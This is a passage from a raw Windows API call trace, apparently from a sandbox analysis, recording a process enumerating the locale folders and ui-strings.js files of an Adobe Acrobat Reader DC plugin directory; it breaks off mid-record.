lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33159f0 [0276.460] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.460] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.460] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.460] FindClose (in: hFindFile=0x33159f0 | out: hFindFile=0x33159f0) returned 1 [0276.460] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0276.460] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0276.461] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0276.461] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\root\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157f0 [0276.461] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.461] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x525, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.461] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x525, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.461] FindClose (in: hFindFile=0x33157f0 | out: hFindFile=0x33157f0) returned 1 [0276.461] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0276.461] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0276.462] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0276.462] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\ru-ru\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315670 [0276.462] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.462] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.462] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.462] FindClose (in: hFindFile=0x3315670 | out: hFindFile=0x3315670) returned 1 [0276.462] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0276.462] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0276.463] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0276.463] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\sk-sk\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315a30 [0276.464] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.464] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf10e716b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x59e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.464] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf10e716b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x59e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.464] FindClose (in: hFindFile=0x3315a30 | out: hFindFile=0x3315a30) returned 1 [0276.464] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0276.464] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0276.464] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0276.464] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\sl-si\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0276.465] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.465] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x54c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.465] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b2fd8e, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b2fd8e, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b2fd8e, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x54c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.465] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0276.465] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0276.465] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0276.465] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0276.465] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\sl-sl\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0276.467] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.467] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0276.467] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0276.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0276.651] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0276.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0276.652] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\sv-se\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158b0 [0276.653] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.653] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.653] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.653] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0276.653] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0276.653] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0276.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0276.654] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\tr-tr\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315c70 [0276.654] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.654] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x541, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.654] FindNextFileW (in: hFindFile=0x3315c70, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b55e76, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x1b55e76, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x1b55e76, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x541, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0276.654] FindClose (in: hFindFile=0x3315c70 | out: hFindFile=0x3315c70) returned 1 [0276.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0276.654] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.655] FindNextFileW (in: hFindFile=0x3315af0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0276.655] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0276.655] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\desktop-connector-files\\js\\nls\\uk-ua\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf128ab91, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf128ab91, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf128ab91, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, 